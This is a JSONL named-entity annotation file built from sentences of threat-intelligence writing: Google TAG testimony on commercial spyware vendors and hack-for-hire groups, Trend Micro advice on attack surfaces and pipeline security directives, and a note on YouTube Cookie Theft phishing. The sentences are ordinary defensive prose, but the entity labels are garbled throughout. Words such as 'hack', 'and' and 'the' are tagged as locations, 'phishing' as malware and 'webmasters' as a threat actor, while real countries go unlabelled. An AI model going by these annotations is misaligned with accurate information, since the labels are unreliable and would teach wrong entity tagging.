-{"id":8404,"text":"TAG also recently released information on a segment of attackers we call “hack-for-hire” that focuses on compromising accounts and exfiltrating data as a service.","entities":[{"id":25884,"label":"location","start_offset":68,"end_offset":72},{"id":25885,"label":"location","start_offset":74,"end_offset":78},{"id":25886,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":8405,"text":"In contrast to commercial surveillance vendors, who we generally observe selling a capability for the end user to operate, hack-for-hire firms conduct attacks themselves.","entities":[{"id":25887,"label":"location","start_offset":123,"end_offset":127},{"id":25888,"label":"location","start_offset":137,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":8406,"text":"They target a wide range of users and opportunistically take advantage of known security flaws when undertaking their campaigns.","entities":[{"id":25889,"label":"location","start_offset":5,"end_offset":11},{"id":25890,"label":"location","start_offset":19,"end_offset":24},{"id":25891,"label":"location","start_offset":34,"end_offset":37},{"id":25892,"label":"location","start_offset":80,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":8407,"text":"In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.","entities":[{"id":25894,"label":"location","start_offset":37,"end_offset":41},{"id":25897,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":8408,"text":"The growth of commercial spyware vendors and hack-for-hire groups has necessitated growth in TAG to counter these threats.","entities":[{"id":25899,"label":"location","start_offset":41,"end_offset":44},{"id":25900,"label":"location","start_offset":45,"end_offset":49}],"relations":[],"Comments":[]}
-{"id":8409,"text":"Where once we only needed substreams to focus on threat actors such as China, Russia, and North Korea, TAG now has a dedicated analysis subteam dedicated to commercial vendors and operators.","entities":[{"id":25901,"label":"location","start_offset":14,"end_offset":18},{"id":25904,"label":"location","start_offset":86,"end_offset":89},{"id":25906,"label":"location","start_offset":176,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":8410,"text":" Our findings underscore the extent to which commercial surveillance vendors have proliferated capabilities historically only used by governments.","entities":[{"id":25907,"label":"location","start_offset":121,"end_offset":125}],"relations":[],"Comments":[]}
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 {"id":8412,"text":"We believe its use is growing, fueled by demand from governments.","entities":[],"relations":[],"Comments":[]}
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-{"id":8414,"text":"TAG is actively tracking more than 30 vendors with varying levels of sophistication and public exposure selling exploits or surveillance capabilities to state-sponsored actors.","entities":[{"id":25918,"label":"location","start_offset":59,"end_offset":65},{"id":25919,"label":"location","start_offset":84,"end_offset":87},{"id":25920,"label":"location","start_offset":88,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":8415,"text":"This industry appears to be thriving.","entities":[{"id":25921,"label":"location","start_offset":5,"end_offset":13}],"relations":[],"Comments":[]}
-{"id":8416,"text":"In fact, there was recently a large industry conference in Europe, sponsored by many of the commercial spyware vendors we track.","entities":[{"id":25922,"label":"location","start_offset":30,"end_offset":35},{"id":25923,"label":"location","start_offset":36,"end_offset":44},{"id":25925,"label":"location","start_offset":80,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":8417,"text":"This trend should be concerning to the United States and all citizens.","entities":[{"id":25927,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":8418,"text":"These vendors are enabling the proliferation of dangerous hacking tools, arming nation state actors that would not otherwise be able to develop these capabilities in-house.","entities":[{"id":25928,"label":"location","start_offset":14,"end_offset":17},{"id":25929,"label":"location","start_offset":166,"end_offset":171}],"relations":[],"Comments":[]}
-{"id":8419,"text":"While use of surveillance technologies may be legal under national or international laws, they are found to be used by some state actors for purposes antithetical to democratic values: targeting dissidents, journalists, human rights workers, and opposition party politicians.","entities":[{"id":25930,"label":"location","start_offset":39,"end_offset":42},{"id":25931,"label":"location","start_offset":58,"end_offset":66},{"id":25932,"label":"location","start_offset":70,"end_offset":83},{"id":25933,"label":"location","start_offset":84,"end_offset":88},{"id":25934,"label":"location","start_offset":95,"end_offset":98},{"id":25935,"label":"location","start_offset":242,"end_offset":245}],"relations":[],"Comments":[]}
 {"id":8420,"text":"We have also observed proliferation risk from nation state actors attempting to gain access to the exploits of these vendors.","entities":[],"relations":[],"Comments":[]}
-{"id":8421,"text":"Last year, TAG identified an ongoing campaign targeting security researchers working on vulnerability research and development at different companies and organizations.","entities":[{"id":25937,"label":"location","start_offset":37,"end_offset":45},{"id":25938,"label":"location","start_offset":56,"end_offset":64},{"id":25939,"label":"location","start_offset":111,"end_offset":114},{"id":25940,"label":"location","start_offset":150,"end_offset":153}],"relations":[],"Comments":[]}
-{"id":8422,"text":"The actors behind this campaign, which we attributed to a government-backed entity based in North Korea, have employed a number of means to target researchers.","entities":[{"id":25941,"label":"location","start_offset":23,"end_offset":31},{"id":25943,"label":"location","start_offset":131,"end_offset":136},{"id":25944,"label":"location","start_offset":140,"end_offset":146}],"relations":[],"Comments":[]}
-{"id":8423,"text":"In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.","entities":[{"id":25945,"label":"location","start_offset":37,"end_offset":40},{"id":25946,"label":"location","start_offset":64,"end_offset":72}],"relations":[],"Comments":[]}
 {"id":8424,"text":"While vulnerability research is an important contributor to online safety when that research is used to improve the security of products, vendors stockpiling zero-day vulnerabilities in secret can pose a severe risk to the Internet when the vendor itself gets compromised.","entities":[{"id":25947,"label":"tools","start_offset":67,"end_offset":73},{"id":25948,"label":"location","start_offset":116,"end_offset":124},{"id":25950,"label":"location","start_offset":193,"end_offset":196},{"id":25951,"label":"location","start_offset":241,"end_offset":247}],"relations":[],"Comments":[]}
 {"id":8425,"text":"This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.","entities":[{"id":25953,"label":"malware","start_offset":83,"end_offset":90},{"id":25954,"label":"location","start_offset":113,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":8426,"text":"The proliferation of commercial hacking tools is a threat to national security, making the Internet less safe and undermining the trust on which a vibrant, inclusive digital society depends.","entities":[{"id":25955,"label":"location","start_offset":61,"end_offset":69},{"id":25956,"label":"location","start_offset":70,"end_offset":78},{"id":25957,"label":"threat-actor","start_offset":105,"end_offset":109},{"id":25958,"label":"location","start_offset":110,"end_offset":113},{"id":25959,"label":"location","start_offset":130,"end_offset":135}],"relations":[],"Comments":[]}
-{"id":8427,"text":"This is why when Google discovers these activities, we not only take steps to protect users, but also disclose that information publicly to raise awareness and help the entire ecosystem, in line with our historical commitment to openness and democratic values.","entities":[{"id":25961,"label":"location","start_offset":59,"end_offset":63},{"id":25962,"label":"location","start_offset":156,"end_offset":159},{"id":25963,"label":"location","start_offset":238,"end_offset":241}],"relations":[],"Comments":[]}
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 {"id":8431,"text":"Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.","entities":[{"id":25979,"label":"threat-actor","start_offset":28,"end_offset":38},{"id":25980,"label":"location","start_offset":59,"end_offset":62},{"id":25981,"label":"location","start_offset":95,"end_offset":98},{"id":25982,"label":"location","start_offset":105,"end_offset":109},{"id":25983,"label":"location","start_offset":119,"end_offset":122}],"relations":[],"Comments":[]}
 {"id":8432,"text":"On Gmail, we recommend certain Gmail security precautions to prevent spoofing, phishing, and spam.","entities":[{"id":25986,"label":"location","start_offset":37,"end_offset":45},{"id":25987,"label":"attack-pattern","start_offset":79,"end_offset":87},{"id":25988,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
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 {"id":8434,"text":"We use email authentication to protect against email spoofing, which is when email content is changed to make the message appear from someone or somewhere other than the actual source.","entities":[{"id":25991,"label":"location","start_offset":83,"end_offset":90},{"id":25992,"label":"attack-pattern","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]}
 {"id":8435,"text":"And we offer other advanced phishing and malware protection to administrators to better protect their users.","entities":[{"id":25993,"label":"location","start_offset":0,"end_offset":3},{"id":25994,"label":"attack-pattern","start_offset":28,"end_offset":36},{"id":25995,"label":"location","start_offset":37,"end_offset":40},{"id":25996,"label":"location","start_offset":49,"end_offset":59}],"relations":[],"Comments":[]}
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 {"id":8441,"text":"During the development stage, Android-created and open source components are subject to vigorous security reviews","entities":[{"id":26012,"label":"location","start_offset":46,"end_offset":49},{"id":26013,"label":"attack-pattern","start_offset":55,"end_offset":61},{"id":26014,"label":"location","start_offset":73,"end_offset":76},{"id":26015,"label":"location","start_offset":97,"end_offset":105}],"relations":[],"Comments":[]}
 {"id":8442,"text":"For users, Android provides safety and control over how apps and third parties can access the data from their devices.","entities":[{"id":26016,"label":"tools","start_offset":28,"end_offset":34},{"id":26017,"label":"location","start_offset":35,"end_offset":38},{"id":26018,"label":"location","start_offset":61,"end_offset":64},{"id":26020,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
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-{"id":8447,"text":"Google manages a vulnerability rewards program (VRP), rewarding researchers millions of dollars for their contributions in securing our devices and platforms.","entities":[{"id":26034,"label":"location","start_offset":144,"end_offset":147}],"relations":[],"Comments":[]}
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-{"id":8449,"text":"This is all part of a larger strategy to keep Google products and users, as well as the Internet at large more secure.","entities":[{"id":26040,"label":"location","start_offset":62,"end_offset":65},{"id":26041,"label":"location","start_offset":100,"end_offset":105}],"relations":[],"Comments":[]}
-{"id":8450,"text":"Project Zero is also a critical component of this strategy, pushing transparency and more timely patching of vulnerabilities.","entities":[{"id":26043,"label":"location","start_offset":81,"end_offset":84}],"relations":[],"Comments":[]}
-{"id":8451,"text":"Finally, we also offer the leading tools to protect important civil society actors such as journalists, human rights workers, opposition party politicians, and campaign organizations – in other words, the users who are frequently targeted by surveillance tools.","entities":[{"id":26044,"label":"location","start_offset":156,"end_offset":159},{"id":26045,"label":"location","start_offset":160,"end_offset":168},{"id":26046,"label":"location","start_offset":215,"end_offset":218}],"relations":[],"Comments":[]}
-{"id":8452,"text":"Google developed Project Shield, a free protection against distributed denial of service (DDoS) attacks, to protect news media and human rights organization websites.","entities":[{"id":26049,"label":"location","start_offset":40,"end_offset":50},{"id":26050,"label":"location","start_offset":121,"end_offset":126},{"id":26051,"label":"location","start_offset":127,"end_offset":130}],"relations":[],"Comments":[]}
-{"id":8453,"text":"We recently expanded eligibility to protect Ukraine government organizations, and we are currently protecting over 200 Ukraine websites today.","entities":[{"id":26053,"label":"location","start_offset":78,"end_offset":81},{"id":26054,"label":"location","start_offset":85,"end_offset":88}],"relations":[],"Comments":[]}
-{"id":8454,"text":"To protect high risk user accounts, we offer the Advanced Protection Program (APP), which is our highest form of account security.","entities":[{"id":26058,"label":"location","start_offset":58,"end_offset":68},{"id":26059,"label":"location","start_offset":121,"end_offset":129}],"relations":[],"Comments":[]}
 {"id":8455,"text":"APP has a strong track record protecting users – since the program’s inception, there are no documented cases of an account compromise via phishing.","entities":[{"id":26060,"label":"location","start_offset":10,"end_offset":16},{"id":26061,"label":"malware","start_offset":69,"end_offset":78},{"id":26062,"label":"location","start_offset":86,"end_offset":89},{"id":26063,"label":"attack-pattern","start_offset":139,"end_offset":147}],"relations":[],"Comments":[]}
-{"id":8456,"text":" We believe it is time for government, industry and civil society to come together to change the incentive structure which has allowed these technologies to spread in secret.","entities":[{"id":26064,"label":"location","start_offset":18,"end_offset":22},{"id":26065,"label":"location","start_offset":39,"end_offset":47},{"id":26066,"label":"location","start_offset":48,"end_offset":51},{"id":26067,"label":"location","start_offset":107,"end_offset":116}],"relations":[],"Comments":[]}
 {"id":8457,"text":"The first step is to understand the scope of the problem.","entities":[],"relations":[],"Comments":[]}
-{"id":8458,"text":"We appreciate the Committee’s focus on this issue, and recommend the U.S. Intelligence Community prioritize identifying and analyzing threats from foreign commercial spyware providers as being on par with other major advanced threat actors.","entities":[{"id":26070,"label":"location","start_offset":44,"end_offset":49},{"id":26071,"label":"location","start_offset":51,"end_offset":54},{"id":26073,"label":"location","start_offset":120,"end_offset":123},{"id":26074,"label":"location","start_offset":211,"end_offset":216}],"relations":[],"Comments":[]}
-{"id":8459,"text":"The U.S. should also consider ways to foster greater transparency in the marketplace, including setting heightened transparency requirements for the domestic surveillance industry.","entities":[{"id":26076,"label":"location","start_offset":38,"end_offset":44},{"id":26077,"label":"location","start_offset":149,"end_offset":157},{"id":26078,"label":"location","start_offset":171,"end_offset":179}],"relations":[],"Comments":[]}
-{"id":8460,"text":"The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.","entities":[{"id":26080,"label":"location","start_offset":69,"end_offset":72}],"relations":[],"Comments":[]}
-{"id":8461,"text":"We welcome recent steps taken by the government in applying sanctions to the NSO Group and Candiru, and we believe other governments should consider expanding these restrictions.","entities":[{"id":26081,"label":"location","start_offset":3,"end_offset":10},{"id":26083,"label":"location","start_offset":87,"end_offset":90},{"id":26085,"label":"location","start_offset":100,"end_offset":103}],"relations":[],"Comments":[]}
-{"id":8462,"text":"Additionally, the U.S. government should consider a full ban on Federal procurement of commercial spyware technologies and contemplate imposing further sanctions to limit spyware vendors’ ability to operate in the U.S. and receive U.S. investment.","entities":[{"id":26088,"label":"location","start_offset":119,"end_offset":122},{"id":26090,"label":"location","start_offset":219,"end_offset":222}],"relations":[],"Comments":[]}
-{"id":8463,"text":"The harms from this industry are amply evident by this point, and we believe they outweigh any benefit to continued use.","entities":[{"id":26092,"label":"location","start_offset":20,"end_offset":28},{"id":26093,"label":"location","start_offset":29,"end_offset":32},{"id":26094,"label":"location","start_offset":55,"end_offset":60},{"id":26095,"label":"location","start_offset":62,"end_offset":65}],"relations":[],"Comments":[]}
-{"id":8464,"text":"Finally, we urge the United States to lead a diplomatic effort to work with the governments of the countries who harbor problematic vendors, as well as those who employ these tools, to build support for measures that limit harms caused by this industry.","entities":[{"id":26097,"label":"location","start_offset":38,"end_offset":42},{"id":26098,"label":"location","start_offset":56,"end_offset":62},{"id":26099,"label":"location","start_offset":113,"end_offset":119},{"id":26100,"label":"location","start_offset":244,"end_offset":252}],"relations":[],"Comments":[]}
 {"id":8465,"text":"Any one government’s ability to meaningfully impact this market is limited; only through a concerted international effort can this serious risk to online safety be mitigated.","entities":[{"id":26102,"label":"location","start_offset":45,"end_offset":51},{"id":26103,"label":"location","start_offset":57,"end_offset":63},{"id":26104,"label":"location","start_offset":76,"end_offset":80},{"id":26105,"label":"location","start_offset":101,"end_offset":114},{"id":26106,"label":"location","start_offset":115,"end_offset":121},{"id":26107,"label":"location","start_offset":122,"end_offset":125},{"id":26108,"label":"tools","start_offset":154,"end_offset":160}],"relations":[],"Comments":[]}
-{"id":8466,"text":"Google is investing heavily as a company and as an industry to counter serious threats to our users.","entities":[{"id":26110,"label":"location","start_offset":41,"end_offset":44},{"id":26111,"label":"location","start_offset":51,"end_offset":59}],"relations":[],"Comments":[]}
-{"id":8467,"text":"In the modern world, we must be able to trust the devices we use every day and ensure that foreign adversaries do not have access to sophisticated exploits.","entities":[{"id":26112,"label":"location","start_offset":14,"end_offset":19},{"id":26113,"label":"location","start_offset":40,"end_offset":45},{"id":26115,"label":"location","start_offset":75,"end_offset":78}],"relations":[],"Comments":[]}
 {"id":8468,"text":"While we continue to fight these threats on a technical level, the providers of these capabilities operate openly in democratic countries.","entities":[],"relations":[],"Comments":[]}
-{"id":8469,"text":"Google is committed to leading the industry in detecting and disrupting these threats.","entities":[{"id":26117,"label":"location","start_offset":35,"end_offset":43},{"id":26118,"label":"location","start_offset":57,"end_offset":60}],"relations":[],"Comments":[]}
-{"id":8470,"text":"I thank the Committee for this attention on this critical issue.","entities":[{"id":26120,"label":"location","start_offset":58,"end_offset":63}],"relations":[],"Comments":[]}
-{"id":8471,"text":"While it seems almost cliché now, we are living in unprecedented times.","entities":[{"id":26121,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
-{"id":8472,"text":"The global pandemic has forced organizations everywhere to deal not only with health and supply-chain challenges, but also with increasing political turmoil that can negatively impact ongoing operations.","entities":[{"id":26122,"label":"location","start_offset":59,"end_offset":63},{"id":26123,"label":"location","start_offset":68,"end_offset":72},{"id":26124,"label":"location","start_offset":85,"end_offset":88},{"id":26125,"label":"location","start_offset":89,"end_offset":95},{"id":26126,"label":"location","start_offset":162,"end_offset":165},{"id":26127,"label":"location","start_offset":177,"end_offset":183}],"relations":[],"Comments":[]}
-{"id":8473,"text":"And with the military action in Ukraine, evidence of widespread defacement of government websites, and targeted attacks against government agencies and financial institutions in the region serving as yet another layer of risk to deal with, it has never been more important to be on top of your security game.","entities":[{"id":26128,"label":"location","start_offset":0,"end_offset":3},{"id":26129,"label":"location","start_offset":22,"end_offset":28},{"id":26131,"label":"location","start_offset":99,"end_offset":102},{"id":26132,"label":"location","start_offset":148,"end_offset":151},{"id":26133,"label":"location","start_offset":182,"end_offset":188},{"id":26134,"label":"location","start_offset":229,"end_offset":233},{"id":26135,"label":"location","start_offset":294,"end_offset":302}],"relations":[],"Comments":[]}
-{"id":8474,"text":" Keep focused on the attack surface While every organization will have their own definition of what risk means to them, the ability to understand, communicate, and mitigate that risk is critical to being resilient in the face of the global events unfolding.","entities":[{"id":26136,"label":"location","start_offset":61,"end_offset":65},{"id":26137,"label":"location","start_offset":105,"end_offset":110},{"id":26138,"label":"location","start_offset":114,"end_offset":118},{"id":26139,"label":"location","start_offset":160,"end_offset":163}],"relations":[],"Comments":[]}
-{"id":8475,"text":"In order to understand your risk, you first need to understand your attack surface—where can risk be introduced in the digital platform that makes up how your organization runs?","entities":[{"id":26141,"label":"location","start_offset":89,"end_offset":92}],"relations":[],"Comments":[]}
-{"id":8476,"text":"            Once you know what your attack surface is, you need the tools to both assess the risk and then mitigate it.","entities":[{"id":26142,"label":"location","start_offset":98,"end_offset":101}],"relations":[],"Comments":[]}
-{"id":8477,"text":"Given that the attack surface is constantly changing, it really is a lifecycle—an attack surface risk management lifecycle—that needs the right tools in place to help with cyber resilience.","entities":[{"id":26143,"label":"location","start_offset":0,"end_offset":5}],"relations":[],"Comments":[]}
-{"id":8478,"text":"Managing risk with security best practices","entities":[{"id":26144,"label":"location","start_offset":19,"end_offset":27},{"id":26145,"label":"location","start_offset":28,"end_offset":32}],"relations":[],"Comments":[]}
 {"id":8479,"text":"With so much diversity in the attack surface, it’s important to leverage security best practices to manage your cyber risk.","entities":[{"id":26146,"label":"location","start_offset":8,"end_offset":12},{"id":26147,"label":"malware","start_offset":64,"end_offset":72},{"id":26148,"label":"location","start_offset":73,"end_offset":81},{"id":26149,"label":"location","start_offset":82,"end_offset":86},{"id":26150,"label":"location","start_offset":100,"end_offset":106}],"relations":[],"Comments":[]}
-{"id":8480,"text":"Organizations should:   Ensure your systems are updated (especially security solutions) with the latest critical patches and versions.","entities":[{"id":26151,"label":"location","start_offset":44,"end_offset":47},{"id":26152,"label":"location","start_offset":68,"end_offset":76},{"id":26153,"label":"location","start_offset":121,"end_offset":124}],"relations":[],"Comments":[]}
-{"id":8481,"text":"These are a critical part of your attack surface.","entities":[{"id":26154,"label":"location","start_offset":6,"end_offset":9}],"relations":[],"Comments":[]}
-{"id":8482,"text":"Make sure you have configured your security solutions according to best practices from the vendor, including widespread use of multi-factor authentication.","entities":[{"id":26155,"label":"location","start_offset":35,"end_offset":43},{"id":26156,"label":"location","start_offset":67,"end_offset":71},{"id":26157,"label":"location","start_offset":91,"end_offset":97}],"relations":[],"Comments":[]}
-{"id":8483,"text":"For Trend Micro solutions, ensure you are leveraging the latest sophisticated security capabilities like machine learning, behavior monitoring, application control, and more.","entities":[{"id":26159,"label":"location","start_offset":38,"end_offset":41},{"id":26160,"label":"location","start_offset":78,"end_offset":86},{"id":26161,"label":"location","start_offset":165,"end_offset":168}],"relations":[],"Comments":[]}
 {"id":8484,"text":"Get advice here: https:\/\/success.trendmicro.com","entities":[],"relations":[],"Comments":[]}
-{"id":8485,"text":"As outlined in real-world testing activities like the Mitre Engenuity ATT&CK evalutions, being able to detect and respond across layers to a cyber attack is a fundamental requirement for managing cyber risk.","entities":[{"id":26163,"label":"location","start_offset":15,"end_offset":19},{"id":26164,"label":"location","start_offset":20,"end_offset":25},{"id":26166,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
-{"id":8486,"text":"If you are not using some form of extended detection and response (XDR) or managed XDR today, you need to put something in place immediately.","entities":[{"id":26167,"label":"location","start_offset":7,"end_offset":10},{"id":26168,"label":"location","start_offset":53,"end_offset":56}],"relations":[],"Comments":[]}
-{"id":8487,"text":"Without this type of visibility and ability to respond to attacks, you are at significantly higher risk.","entities":[{"id":26170,"label":"location","start_offset":13,"end_offset":17},{"id":26171,"label":"location","start_offset":32,"end_offset":35},{"id":26172,"label":"location","start_offset":71,"end_offset":74}],"relations":[],"Comments":[]}
 {"id":8488,"text":"Pay close attention to unrecognized network traffic (both inbound and outbound) and watch for sophisticated new phishing attacks.","entities":[{"id":26173,"label":"location","start_offset":66,"end_offset":69},{"id":26174,"label":"location","start_offset":80,"end_offset":83},{"id":26175,"label":"attack-pattern","start_offset":112,"end_offset":120}],"relations":[],"Comments":[]}
-{"id":8489,"text":"Follow-up quickly on security alerts and conduct more close investigation as necessary.","entities":[{"id":26176,"label":"location","start_offset":21,"end_offset":29},{"id":26177,"label":"location","start_offset":37,"end_offset":40}],"relations":[],"Comments":[]}
 {"id":8490,"text":"Where possible, reduce your attack surface.","entities":[],"relations":[],"Comments":[]}
-{"id":8491,"text":"Whether a financially motivated group, a nation state, or an advanced group that behaves like one, attackers facing a smaller attack surface along with the greater visibility in #3 mean a stronger security and reduced risk.","entities":[{"id":26178,"label":"location","start_offset":94,"end_offset":97},{"id":26179,"label":"location","start_offset":141,"end_offset":146},{"id":26181,"label":"location","start_offset":197,"end_offset":205},{"id":26182,"label":"location","start_offset":206,"end_offset":209}],"relations":[],"Comments":[]}
 {"id":8492,"text":"How to do that?","entities":[],"relations":[],"Comments":[]}
-{"id":8493,"text":"Reducing attack surface includes patching and Zero Trust techniques for better posture, including knowing the true state of identities, devices, cloud assets, and things.","entities":[{"id":26183,"label":"location","start_offset":42,"end_offset":45},{"id":26184,"label":"location","start_offset":46,"end_offset":50},{"id":26185,"label":"location","start_offset":51,"end_offset":56},{"id":26186,"label":"location","start_offset":110,"end_offset":114},{"id":26187,"label":"location","start_offset":145,"end_offset":150},{"id":26188,"label":"location","start_offset":159,"end_offset":162}],"relations":[],"Comments":[]}
-{"id":8494,"text":" Following these best practices will help you to better manage the cyber risk that your organization is facing, regardless of the unknowns that we are all dealing with today—and tomorrow.","entities":[{"id":26189,"label":"location","start_offset":17,"end_offset":21},{"id":26190,"label":"location","start_offset":32,"end_offset":36},{"id":26191,"label":"location","start_offset":56,"end_offset":62},{"id":26192,"label":"location","start_offset":147,"end_offset":150},{"id":26194,"label":"location","start_offset":174,"end_offset":177}],"relations":[],"Comments":[]}
 {"id":8495,"text":"   Our research teams and threat hunters will work vigilantly to monitor and identify any new threat intelligence and will continue to share updates here: trendmicro.com\/ukrainecrisis.","entities":[{"id":26196,"label":"location","start_offset":22,"end_offset":25},{"id":26197,"label":"location","start_offset":33,"end_offset":40},{"id":26198,"label":"location","start_offset":41,"end_offset":45},{"id":26199,"label":"location","start_offset":65,"end_offset":72},{"id":26200,"label":"location","start_offset":73,"end_offset":76},{"id":26201,"label":"location","start_offset":114,"end_offset":117},{"id":26202,"label":"location","start_offset":118,"end_offset":122},{"id":26203,"label":"URL","start_offset":155,"end_offset":183}],"relations":[],"Comments":[]}
 {"id":8496,"text":"This blog has been revised to include new facts that have been released since the original posting.","entities":[],"relations":[],"Comments":[]}
 {"id":8497,"text":"    Tags  Cloud | Cyber Crime | Exploits & Vulnerabilities | Expert Perspective | Phishing | Cyber Threats | APT & Targeted Attacks | Endpoints | Mobile | Articles, News, Reports","entities":[{"id":26204,"label":"location","start_offset":10,"end_offset":15},{"id":26205,"label":"attack-pattern","start_offset":82,"end_offset":90},{"id":26206,"label":"location","start_offset":109,"end_offset":112},{"id":26207,"label":"location","start_offset":146,"end_offset":152}],"relations":[],"Comments":[]}
-{"id":8498,"text":"Last July 20, 2021, the Department of Homeland Security’s (DHS) Transportation Security Administration (TSA) released its second security directive, requiring the owners and operators of TSA-designated critical pipelines to implement various protection against cyber attacks.","entities":[{"id":26214,"label":"location","start_offset":129,"end_offset":137},{"id":26215,"label":"location","start_offset":170,"end_offset":173},{"id":26217,"label":"location","start_offset":242,"end_offset":252}],"relations":[],"Comments":[]}
-{"id":8499,"text":"According to Alejandro N. Mayorkas, Secretary of Homeland Security, through the directive the DHS can better ensure that the pipeline sector takes the much-needed steps to protect its operations against cyber threats.","entities":[{"id":26219,"label":"location","start_offset":36,"end_offset":45},{"id":26220,"label":"location","start_offset":49,"end_offset":57},{"id":26221,"label":"location","start_offset":58,"end_offset":66},{"id":26223,"label":"location","start_offset":98,"end_offset":101},{"id":26224,"label":"location","start_offset":151,"end_offset":155}],"relations":[],"Comments":[]}
-{"id":8500,"text":"“Public-private partnerships are critical to the security of every community across our country and DHS will continue working closely with our private sector partners to support their operations and increase their cybersecurity resilience,” Mayorkas added.","entities":[{"id":26225,"label":"location","start_offset":1,"end_offset":7},{"id":26226,"label":"location","start_offset":29,"end_offset":32},{"id":26227,"label":"location","start_offset":49,"end_offset":57},{"id":26228,"label":"location","start_offset":67,"end_offset":76},{"id":26229,"label":"location","start_offset":96,"end_offset":99},{"id":26231,"label":"location","start_offset":104,"end_offset":108},{"id":26232,"label":"location","start_offset":195,"end_offset":198}],"relations":[],"Comments":[]}
 {"id":8501,"text":"This is the second directive the TSA issued to the pipeline sector this 2021, building on the initial Security Directive released on May 2021 following the ransomware attack on Colonial Pipeline by DarkSide.","entities":[],"relations":[],"Comments":[]}
-{"id":8502,"text":"The second directive requires critical pipeline owners and operators to implement specific mitigation measures to protect against ransomware attacks and other threats to IT and OT systems.","entities":[{"id":26242,"label":"location","start_offset":55,"end_offset":58},{"id":26243,"label":"location","start_offset":149,"end_offset":152},{"id":26244,"label":"location","start_offset":173,"end_offset":176}],"relations":[],"Comments":[]}
-{"id":8503,"text":"It also requires owners and operators to develop and implement a cybersecurity contingency and recovery plan as well as to conduct a cybersecurity architecture design review.","entities":[{"id":26245,"label":"location","start_offset":24,"end_offset":27},{"id":26246,"label":"location","start_offset":49,"end_offset":52},{"id":26247,"label":"location","start_offset":91,"end_offset":94}],"relations":[],"Comments":[]}
-{"id":8504,"text":"On the other hand, the May directive requires owners and operators to report confirmed and potential cybersecurity incidents to the Cybersecurity and Infrastructure Security Agency (CISA), assign a cybersecurity coordinator available 24\/7, review current practices, and determine any gaps related to remediation measures, addressing cyber-related risks and report the results to TSA and CISA.","entities":[{"id":26248,"label":"location","start_offset":13,"end_offset":17},{"id":26250,"label":"location","start_offset":53,"end_offset":56},{"id":26251,"label":"location","start_offset":87,"end_offset":90},{"id":26255,"label":"location","start_offset":266,"end_offset":269},{"id":26256,"label":"location","start_offset":353,"end_offset":356},{"id":26258,"label":"location","start_offset":383,"end_offset":386}],"relations":[],"Comments":[]}
-{"id":8505,"text":"Aside from the new directives, it is also pertinent for pipeline operators and owners to keep up-to-date with the latest threats and risks related to smart factories.","entities":[{"id":26260,"label":"location","start_offset":75,"end_offset":78},{"id":26261,"label":"location","start_offset":100,"end_offset":104},{"id":26262,"label":"location","start_offset":129,"end_offset":132}],"relations":[],"Comments":[]}
-{"id":8506,"text":" Stakeholders must grasp their factory’s current situation, set goals, and identify ways to fill such goals alongside their current skills gap.","entities":[{"id":26263,"label":"location","start_offset":71,"end_offset":74},{"id":26264,"label":"location","start_offset":139,"end_offset":142}],"relations":[],"Comments":[]}
-{"id":8507,"text":"Moreover, best practices must be considered and implemented to keep operations running.","entities":[{"id":26265,"label":"location","start_offset":10,"end_offset":14},{"id":26266,"label":"location","start_offset":44,"end_offset":47}],"relations":[],"Comments":[]}
-{"id":8508,"text":"To learn more about protecting smart factories, check out the following forward-looking research by Trend Micro:","entities":[{"id":26267,"label":"location","start_offset":48,"end_offset":53}],"relations":[],"Comments":[]}
-{"id":8509,"text":"        Practical Risk Assessments for Smart Factories Best Practices for Securing Smart Factories: Three Steps to Keep Operations Running      Tags  Latest News | Cyber Threats | ICS OT | APT & Targeted Attacks | IoT | Ransomware | Articles, News, Reports","entities":[{"id":26269,"label":"location","start_offset":55,"end_offset":59},{"id":26271,"label":"location","start_offset":189,"end_offset":192}],"relations":[],"Comments":[]}
-{"id":8510,"text":"Google’s Threat Analysis Group tracks actors involved in disinformation campaigns, government backed hacking, and financially motivated abuse.","entities":[{"id":26273,"label":"location","start_offset":110,"end_offset":113}],"relations":[],"Comments":[]}
 {"id":8511,"text":"Since late 2019, our team has disrupted financially motivated phishing campaigns targeting YouTubers with Cookie Theft malware.","entities":[{"id":26275,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
 {"id":8512,"text":"The actors behind this campaign, which we attribute to a group of hackers recruited in a Russian-speaking forum, lure their target with fake collaboration opportunities (typically a demo for anti-virus software, VPN, music players, photo editing or online games), hijack their channel, then either sell it to the highest bidder or use it to broadcast cryptocurrency scams.","entities":[{"id":26277,"label":"location","start_offset":23,"end_offset":31},{"id":26279,"label":"location","start_offset":113,"end_offset":117},{"id":26280,"label":"location","start_offset":124,"end_offset":130},{"id":26281,"label":"tools","start_offset":232,"end_offset":237}],"relations":[],"Comments":[]}
 {"id":8513,"text":"In collaboration with YouTube, Gmail, Trust & Safety, CyberCrime Investigation Group and Safe Browsing teams, our protections have decreased the volume of related phishing emails on Gmail by 99.6% since May 2021.","entities":[{"id":26286,"label":"location","start_offset":85,"end_offset":88},{"id":26288,"label":"attack-pattern","start_offset":163,"end_offset":171}],"relations":[],"Comments":[]}
